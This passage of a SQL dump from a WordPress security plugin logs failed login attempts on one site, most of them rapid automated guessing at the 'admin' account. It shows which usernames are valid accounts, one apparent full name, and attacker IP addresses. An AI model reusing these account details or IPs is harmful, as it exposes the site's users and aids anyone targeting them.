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(100954, 1496742259.156649, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100953, 1496742258.697910, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100952, 1496742258.387864, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100951, 1496742258.077386, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100950, 1496742257.760424, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100949, 1496742257.446352, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100948, 1496742257.134197, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100947, 1496742256.823727, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(100946, 1496742256.511603, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100945, 1496742256.198350, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100944, 1496742255.883460, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100943, 1496711602.020060, 1, 'loginFailInvalidUsername', 'outils', 0, 2014968716, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100942, 1496709296.974567, 1, 'loginFailValidUsername', 'admin', 1, 3163163411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100941, 1496708591.878705, 1, 'loginFailInvalidUsername', 'notre', 0, 1984277895, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100940, 1496707742.439463, 1, 'loginFailInvalidUsername', 'training', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100939, 1496707740.532308, 1, 'loginFailInvalidUsername', 'vous', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100938, 1496707738.663029, 1, 'loginFailValidUsername', 'pablo', 3, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100937, 1496707736.767955, 1, 'loginFailValidUsername', 'julie', 2, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100936, 1496707734.368431, 1, 'loginFailValidUsername', 'admin', 1, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100935, 1496707732.523045, 1, 'loginFailInvalidUsername', 'center', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100934, 1496707730.728344, 1, 'loginFailInvalidUsername', 'namur', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100933, 1496707728.922097, 1, 'loginFailInvalidUsername', 'travail', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100932, 1496707727.118738, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100931, 1496707725.299204, 1, 'loginFailInvalidUsername', 'outils', 0, 1109513350, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100930, 1496707085.118454, 1, 'loginFailValidUsername', 'admin', 1, 788319630, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100929, 1496685562.886583, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100928, 1496685562.542020, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100927, 1496685562.232984, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100926, 1496685561.922536, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100925, 1496685561.613747, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100924, 1496685561.304937, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100923, 1496685560.994716, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100922, 1496685560.686343, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100921, 1496685560.376230, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100920, 1496685560.068200, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100919, 1496685559.757421, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100918, 1496685559.448722, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100917, 1496685559.027818, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100916, 1496685558.718846, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100915, 1496685558.410216, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100914, 1496685558.101838, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100913, 1496685557.793170, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100912, 1496685557.485379, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100911, 1496685557.174228, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100910, 1496671032.391234, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100909, 1496671032.079949, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100908, 1496671031.770692, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100907, 1496671031.458144, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100906, 1496671031.148801, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100905, 1496671030.834937, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100904, 1496671030.521807, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100903, 1496671030.213027, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100902, 1496671029.903056, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100901, 1496671029.589165, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100900, 1496671029.280811, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100899, 1496671028.968602, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100898, 1496671028.660404, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100897, 1496671028.352838, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100896, 1496671028.043947, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100895, 1496671027.732892, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100894, 1496671027.424609, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100893, 1496671027.116692, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100892, 1496671026.735394, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100891, 1496649439.026567, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100890, 1496649438.715356, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100889, 1496649438.406839, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100888, 1496649438.099223, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100887, 1496649437.789447, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100886, 1496649437.476428, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100885, 1496649437.162568, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100884, 1496649436.790293, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100883, 1496649436.479643, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100882, 1496649436.169982, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100881, 1496649435.861299, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100880, 1496649435.552564, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100879, 1496649435.244051, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100878, 1496649434.932181, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100877, 1496649434.621298, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100876, 1496649434.311358, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100875, 1496649434.003478, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100874, 1496649433.694087, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100873, 1496649433.379529, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100872, 1496630998.285053, 1, 'loginFailValidUsername', 'admin', 1, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100871, 1496630996.753264, 1, 'loginFailValidUsername', 'pablo', 3, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100870, 1496630995.208833, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100869, 1496630993.665729, 1, 'loginFailValidUsername', 'julie', 2, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100868, 1496630992.080663, 1, 'loginFailValidUsername', 'julie', 2, 3063980351, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100867, 1496620629.640516, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100866, 1496620629.331696, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100865, 1496620629.023740, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100864, 1496620628.715556, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100863, 1496620628.407472, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100862, 1496620628.098737, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100861, 1496620627.789995, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100860, 1496620627.482068, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100859, 1496620627.174032, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100858, 1496620626.865905, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100857, 1496620626.557828, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100856, 1496620626.248662, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100855, 1496620625.938303, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100854, 1496620625.630042, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100853, 1496620625.317774, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100852, 1496620625.009914, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100851, 1496620624.701807, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100850, 1496620624.394017, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100849, 1496620624.065056, 1, 'loginFailValidUsername', 'admin', 1, 1168352192, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100848, 1496614560.497707, 1, 'loginFailValidUsername', 'julie', 2, 2833926914, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100847, 1496600286.402210, 1, 'loginFailValidUsername', 'julie', 2, 1307193800, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
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(100739, 1496432809.297864, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(100732, 1496432807.134563, 1, 'loginFailValidUsername', 'admin', 1, 96963116, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(100721, 1496396646.625260, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(100719, 1496396645.993713, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(100716, 1496396645.060440, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100715, 1496396644.750953, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100714, 1496396644.425228, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100713, 1496396644.101550, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100712, 1496396643.778446, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100711, 1496396643.468371, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100710, 1496396643.047630, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100709, 1496355424.488271, 1, 'loginFailValidUsername', 'admin', 1, 1266634707, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100708, 1496355071.622227, 1, 'loginFailInvalidUsername', 'notre', 0, 1707700163, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100707, 1496350966.848706, 1, 'loginFailInvalidUsername', 'outils', 0, 788319630, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100706, 1496350250.966212, 1, 'loginFailInvalidUsername', 'venez', 0, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100705, 1496350248.354486, 1, 'loginFailInvalidUsername', 'objectifs', 0, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100704, 1496350244.594680, 1, 'loginFailInvalidUsername', 'cross', 0, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100703, 1496350242.006426, 1, 'loginFailInvalidUsername', 'pour', 0, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100702, 1496350238.561486, 1, 'loginFailInvalidUsername', 'notre', 0, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100701, 1496350230.507211, 1, 'loginFailInvalidUsername', 'training', 0, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100700, 1496350227.678743, 1, 'loginFailInvalidUsername', 'vous', 0, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100699, 1496350222.329087, 1, 'loginFailValidUsername', 'pablo', 3, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100698, 1496350219.730725, 1, 'loginFailValidUsername', 'julie', 2, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100697, 1496350214.294379, 1, 'loginFailValidUsername', 'admin', 1, 794439728, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100696, 1496349209.836204, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/532.85.32 (KHTML, like Gecko) Version/5.3.7 Safari/530.77'),
(100695, 1496328706.651917, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539837019, 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/533.99.46 (KHTML, like Gecko) Version/5.4.8 Safari/531.81'),
(100694, 1496260453.603266, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100693, 1496260453.294096, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100692, 1496260452.985383, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100691, 1496260452.676902, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100690, 1496260452.368462, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100689, 1496260452.059954, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100688, 1496260451.739649, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100687, 1496260451.426921, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100686, 1496260451.118690, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100685, 1496260450.808755, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(100684, 1496260450.499887, 1, 'loginFailValidUsername', 'admin', 1, 3489067105, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
